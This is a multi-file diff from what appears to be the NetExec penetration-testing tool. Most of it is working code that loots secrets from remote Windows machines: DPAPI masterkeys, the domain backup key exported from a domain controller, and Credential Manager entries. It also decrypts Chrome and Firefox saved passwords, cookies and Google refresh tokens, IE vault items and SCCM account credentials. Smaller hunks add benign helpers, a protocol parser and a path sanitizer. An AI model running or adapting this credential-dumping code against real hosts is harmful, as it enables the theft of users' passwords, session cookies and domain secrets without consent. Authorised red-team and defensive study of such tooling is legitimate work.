self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
+7 -6
View File
@@ -4,6 +4,7 @@ import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
@@ -45,7 +46,7 @@ class Substitution:
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
print("Unknown value type", hex(value.type))
nxc_logger.display(f"Unknown value type {hex(value.type)}")
class Value:
@@ -70,7 +71,7 @@ class Attribute:
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
self.length = 1 + self._name.length + self._value.length
@@ -123,7 +124,7 @@ class Element:
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
print("Unknown intern next_token", hex(next_token), hex(ofs))
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
break
self._children.append(element)
@@ -135,7 +136,7 @@ class Element:
ofs += 1
break
else:
print("Unknown element next_token", hex(next_token), hex(ofs))
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
break
self.length = ofs - offset
@@ -181,7 +182,7 @@ class TemplateInstance:
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
print("Unknown template token", hex(next_token))
nxc_logger.display(f"Unknown template token {hex(next_token)}")
def xml(self, template=None):
return self._xml.xml(self)
@@ -196,7 +197,7 @@ class BinXML:
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
print("Unknown binxml token", hex(next_token))
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
self.length = 4 + self._element.length
@@ -1,6 +1,6 @@
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1
from hashlib import pbkdf2_hmac, sha1, sha256
import hmac
import json
import ntpath
@@ -11,12 +11,15 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.network import DPLootConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
# Constants for different encryption modes
CBC_IV_LENGTH = 16 # AES-256-CBC uses 16-byte IV (Firefox 144+)
DES_IV_LENGTH = 8 # 3DES-CBC uses 8-byte IV (legacy)
@dataclass
class FirefoxData:
@@ -57,7 +60,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -65,16 +68,13 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -85,31 +85,46 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path)
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
if key is None and self.target.password != "":
key = self.get_key(
# Get all available master keys (Firefox 144+ may have multiple keys)
keys = self.get_all_keys(key4_data=key4_data)
if len(keys) == 0 and self.target.password != "":
keys = self.get_all_keys(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if key is None:
if len(keys) == 0:
continue
for username, pwd, host in logins:
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
decoded_username = None
password = None
for key in keys:
try:
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
decoded_username = decrypted_username.decode("utf-8")
decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
password = decrypted_password.decode("utf-8")
break # Success - stop trying other keys
except (UnicodeDecodeError, Exception):
continue
if password is not None and decoded_username is not None:
data = FirefoxData(
winuser=user,
@@ -128,7 +143,7 @@ class FirefoxTriage:
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
@@ -164,43 +179,60 @@ class FirefoxTriage:
]
def get_key(self, key4_data, master_password=b""):
"""Legacy method - retrieves first available key"""
keys = self.get_all_keys(key4_data, master_password)
return keys[0] if keys else None
def get_all_keys(self, key4_data, master_password=b""):
"""Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)"""
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if row:
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if global_salt:
try:
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
for row in cursor:
if row[0]:
break
a11 = row[0]
a102 = row[1]
if a102 == CKA_ID:
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None:
fh.close()
return key[:24]
except Exception as e:
self.logger.debug(e)
fh.close()
return b""
db.close()
fh.close()
try:
remove(fh.name)
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if not row:
return []
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if not global_salt:
return []
# Get ALL keys from nssPrivate table (Firefox 144+ may have multiple)
keys = []
cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;")
for row in cursor:
try:
a11 = row[0]
a102 = row[1] # ruff: ignore[unused-variable]
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None and len(key) >= 24:
keys.append(key)
except Exception:
continue
return keys
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
self.logger.debug(f"Error extracting keys: {e}")
return []
finally:
db.close()
fh.close()
try:
remove(fh.name)
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
def is_master_password_correct(self, key_data, master_password=b""):
try:
@@ -216,17 +248,6 @@ class FirefoxTriage:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
@@ -238,10 +259,50 @@ class FirefoxTriage:
@staticmethod
def decrypt(key, iv, ciphertext):
"""Decrypt ciphered data (user / password) using the key previously found"""
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
"""
Decrypt ciphered data (user / password) using the key previously found.
Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC).
"""
# Determine encryption method based on IV length
iv_length = len(iv)
# Firefox 144+ uses AES-256-CBC with 16-byte IV
if iv_length == CBC_IV_LENGTH:
return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext)
# Older Firefox uses 3DES-CBC with 8-byte IV
else:
return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext)
@staticmethod
def decrypt_aes256_cbc(key, iv, ciphertext):
"""Decrypt using AES-256-CBC (Firefox 144+)"""
# Expand key to 32 bytes using SHA-256 if needed
aes_key = key[:32] if len(key) >= 32 else sha256(key).digest()
cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
# Remove PKCS7 padding
if len(data) > 0:
padding_length = data[-1]
if isinstance(padding_length, str):
padding_length = ord(padding_length)
try:
if padding_length > 0 and padding_length <= 16:
return data[:-padding_length]
except Exception:
pass
return data
@staticmethod
def decrypt_3des_cbc(key, iv, ciphertext):
"""Decrypt using 3DES-CBC (legacy Firefox)"""
# 3DES requires exactly 24-byte keys - truncate if longer
cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
nb = data[-1]
if isinstance(nb, str):
nb = ord(nb)
try:
return data[:-nb]
except Exception:
+110 -1
View File
@@ -1,10 +1,13 @@
from enum import Enum
import random
import string
import re
import inspect
import os
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -145,3 +148,109 @@ def detect_if_ip(target):
return True
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
+92
View File
@@ -0,0 +1,92 @@
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
def decode_tds_info_error_msgtext(data, offset):
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
TokenType BYTE 0xAA | 0xAB
Length USHORT LE byte count of the remaining fields
Number LONG LE error / info number
State BYTE
Class BYTE severity
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
... (ServerName, ProcName, LineNumber follow but are unused here)
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
Class(1) + MsgText length prefix(2, may be zero-length string).
References (Microsoft Learn, MS-TDS):
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
"""
remaining = len(data) - offset
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
return None
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
if payload_len < 8 or remaining < 3 + payload_len:
return None
try:
token = TDS_INFO_ERROR(data[offset:])
text = token["MsgText"].decode("utf-16le").strip()
except Exception:
return None
return text or None
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
When a server does not support Integrated Windows Authentication it replies
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
(0xAB) token in either the full packet or the payload after the 3-byte
LOGIN7 response header and returns its MsgText.
"""
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
for buf in filter(None, (packet_data, data_after_login_header)):
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
msg = decode_tds_info_error_msgtext(buf, offset)
if msg:
return msg
return None
-34
View File
@@ -1,34 +0,0 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+13
View File
@@ -0,0 +1,13 @@
from pathlib import PurePosixPath
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+85 -39
View File
@@ -35,15 +35,18 @@ import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
@@ -71,12 +74,44 @@ from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
@@ -90,26 +125,17 @@ class myPKINIT(PKINIT):
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
